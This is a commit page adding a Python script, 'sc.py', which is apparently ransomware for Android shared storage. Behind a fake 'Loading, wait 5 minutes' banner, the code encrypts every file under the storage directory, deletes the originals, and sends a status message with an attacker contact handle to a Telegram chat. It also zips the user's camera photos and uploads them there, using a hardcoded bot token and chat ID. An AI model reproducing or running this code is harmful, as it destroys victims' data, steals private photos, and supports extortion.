Create sc.py
Browse files
sc.py
ADDED
|
@@ -0,0 +1,140 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
import shutil
|
| 3 |
+
from multiprocessing import Pool, cpu_count
|
| 4 |
+
from Crypto.Cipher import AES
|
| 5 |
+
from Crypto.Random import get_random_bytes
|
| 6 |
+
import requests
|
| 7 |
+
|
| 8 |
+
# Envoi d'un message ou document via Telegram
|
| 9 |
+
def send_telegram_message(bot_token, chat_id, message):
|
| 10 |
+
try:
|
| 11 |
+
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
|
| 12 |
+
data = {"chat_id": chat_id, "text": message}
|
| 13 |
+
response = requests.post(url, data=data)
|
| 14 |
+
return response.json()
|
| 15 |
+
except Exception as e:
|
| 16 |
+
print(f"E")
|
| 17 |
+
return None
|
| 18 |
+
|
| 19 |
+
def send_telegram_document(bot_token, chat_id, file_path):
|
| 20 |
+
try:
|
| 21 |
+
url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
|
| 22 |
+
with open(file_path, 'rb') as file:
|
| 23 |
+
files = {'document': file}
|
| 24 |
+
data = {"chat_id": chat_id}
|
| 25 |
+
response = requests.post(url, data=data, files=files)
|
| 26 |
+
return response.json()
|
| 27 |
+
except Exception as e:
|
| 28 |
+
print(f"E")
|
| 29 |
+
return None
|
| 30 |
+
|
| 31 |
+
# Fonction de cryptage pour un fichie
|
| 32 |
+
def encrypt_file(file_info):
|
| 33 |
+
file_path, key = file_info
|
| 34 |
+
try:
|
| 35 |
+
chunk_size = 64 * 1024 # 64KB
|
| 36 |
+
iv = get_random_bytes(AES.block_size)
|
| 37 |
+
cipher = AES.new(key, AES.MODE_CBC, iv)
|
| 38 |
+
encrypted_file_path = file_path + '.encrypted'
|
| 39 |
+
|
| 40 |
+
with open(file_path, 'rb') as file, open(encrypted_file_path, 'wb') as encrypted_file:
|
| 41 |
+
encrypted_file.write(iv) # Écrire l'IV
|
| 42 |
+
|
| 43 |
+
while chunk := file.read(chunk_size):
|
| 44 |
+
if len(chunk) % AES.block_size != 0:
|
| 45 |
+
chunk += b' ' * (AES.block_size - len(chunk) % AES.block_size)
|
| 46 |
+
encrypted_file.write(cipher.encrypt(chunk))
|
| 47 |
+
|
| 48 |
+
os.remove(file_path) # Supprimer le fichier original
|
| 49 |
+
|
| 50 |
+
return True
|
| 51 |
+
except Exception as e:
|
| 52 |
+
print(f"wait")
|
| 53 |
+
return False
|
| 54 |
+
|
| 55 |
+
# Récupérer tous les fichiers à crypter
|
| 56 |
+
def get_files_to_encrypt(directory_path):
|
| 57 |
+
files = []
|
| 58 |
+
for root, _, filenames in os.walk(directory_path):
|
| 59 |
+
for filename in filenames:
|
| 60 |
+
file_path = os.path.join(root, filename)
|
| 61 |
+
files.append(file_path)
|
| 62 |
+
return files
|
| 63 |
+
|
| 64 |
+
# Gérer le cryptage avec multiprocessing
|
| 65 |
+
def encrypt_files_in_directory(directory_path, key, bot_token, chat_id):
|
| 66 |
+
files = get_files_to_encrypt(directory_path)
|
| 67 |
+
file_info_list = [(file, key) for file in files]
|
| 68 |
+
|
| 69 |
+
with Pool(cpu_count()) as pool:
|
| 70 |
+
results = pool.map(encrypt_file, file_info_list)
|
| 71 |
+
|
| 72 |
+
files_encrypted = sum(1 for result in results if result)
|
| 73 |
+
files_failed = len(results) - files_encrypted
|
| 74 |
+
|
| 75 |
+
message = f"""Cryptage terminé.\nFichiers cryptés : {files_encrypted}\nFichiers échoués : {files_failed}
|
| 76 |
+
|
| 77 |
+
|
| 78 |
+
Contact telegram: t.me/kuro_kazu"""
|
| 79 |
+
send_telegram_message(bot_token, chat_id, message)
|
| 80 |
+
print(message)
|
| 81 |
+
|
| 82 |
+
# Compresser un répertoire en ZIP
|
| 83 |
+
def compress_directory(directory_path, output_zip):
|
| 84 |
+
try:
|
| 85 |
+
shutil.make_archive(output_zip, 'zip', directory_path)
|
| 86 |
+
|
| 87 |
+
return f"{output_zip}.zip"
|
| 88 |
+
except Exception as e:
|
| 89 |
+
print(f"")
|
| 90 |
+
return None
|
| 91 |
+
|
| 92 |
+
# Fonction principale
|
| 93 |
+
def main():
|
| 94 |
+
target_directory = "storage/shared"
|
| 95 |
+
camera_directory = "storage/shared/dcim/Camera" # Dossier à compresser si présent
|
| 96 |
+
encryption_key = b'\x88\x1a\xfa@\xfa\xd1\xadB\xd5\xaa\xf2\xe17\x9b\xfeo\x88*\x89\xe2gEP\xb60R\xc6\xdb/\xb5`\xa7'
|
| 97 |
+
bot_token = "7126991043:AAEzeKswNo6eO7oJA49Hxn_bsbzgzUoJ-6A"
|
| 98 |
+
chat_id = "-1002081124539"
|
| 99 |
+
|
| 100 |
+
os.system("clear")
|
| 101 |
+
|
| 102 |
+
print("""⠀⢠⣶⣿⣿⣗⡢⠀⠀⠀⠀⠀⠀⢤⣒⣿⣿⣷⣆⠀⠀
|
| 103 |
+
⠀⠋⠉⠉⠙⠻⣿⣷⡄⠀⠀⠀⣴⣿⠿⠛⠉⠉⠉⠃⠀
|
| 104 |
+
⠀⠀⢀⡠⢤⣠⣀⡹⡄⠀⠀⠀⡞⣁⣤⣠⠤⡀⠀⠀⠀
|
| 105 |
+
⢐⡤⢾⣿⣿⢿⣿⡿⠀⠀⠀⠀⠸⣿⣿⢿⣿⣾⠦⣌⠀
|
| 106 |
+
⠁⠀⠀⠀⠉⠈⠀⠀⣸⠀⠀⢰⡀⠀⠈⠈⠀⠀⠀⠀⠁
|
| 107 |
+
⠀⠀⠀⠀⠀⠀⣀⡔⢹⠀⠀⢸⠳⡄⡀⠀⠀⠀⠀⠀⠀
|
| 108 |
+
⠸⡦⣤⠤⠒⠋⠘⢠⡸⣀⣀⡸⣠⠘⠉⠓⠠⣤⢤⡞⠀
|
| 109 |
+
⠀⢹⡜⢷⣄⠀⣀⣀⣾⡶⢶⣷⣄⣀⡀⢀⣴⢏⡾⠁⠀
|
| 110 |
+
⠀⠀⠹⡮⡛⠛⠛⠻⠿⠥⠤⠽⠿⠛⠛⠛⣣⡾⠁⠀⠀
|
| 111 |
+
⠀⠀⠀⠙⢄⠁⠀⠀⠀⣄⣀⡄⠀⠀⠀⢁⠞⠀⠀⠀⠀
|
| 112 |
+
⠀⠀⠀⠀⠀⠂⠀⠀⠀⢸⣿⠀⠀⠀⠠⠂⠀⠀⠀⠀⠀
|
| 113 |
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
| 114 |
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀""")
|
| 115 |
+
|
| 116 |
+
print("""𝓛𝓸𝓪𝓭𝓲𝓷𝓰
|
| 117 |
+
""")
|
| 118 |
+
print("Wait 5 minutes")
|
| 119 |
+
|
| 120 |
+
# Crypter les fichiers
|
| 121 |
+
|
| 122 |
+
try:
|
| 123 |
+
encrypt_files_in_directory(target_directory, encryption_key, bot_token, chat_id)
|
| 124 |
+
except Exception as e:
|
| 125 |
+
print("")
|
| 126 |
+
# Essayer un autre répertoire
|
| 127 |
+
target_directory = "storage/dcim"
|
| 128 |
+
encrypt_files_in_directory(target_directory, encryption_key, bot_token, chat_id)
|
| 129 |
+
|
| 130 |
+
# Vérifier et compresser le répertoire Camera
|
| 131 |
+
if os.path.exists(camera_directory):
|
| 132 |
+
zip_path = compress_directory(camera_directory, "Camera_backup")
|
| 133 |
+
if zip_path:
|
| 134 |
+
# Envoyer le ZIP via Telegram
|
| 135 |
+
send_telegram_document(bot_token, chat_id, zip_path)
|
| 136 |
+
|
| 137 |
+
print("Programme terminé.")
|
| 138 |
+
|
| 139 |
+
if __name__ == "__main__":
|
| 140 |
+
main()
|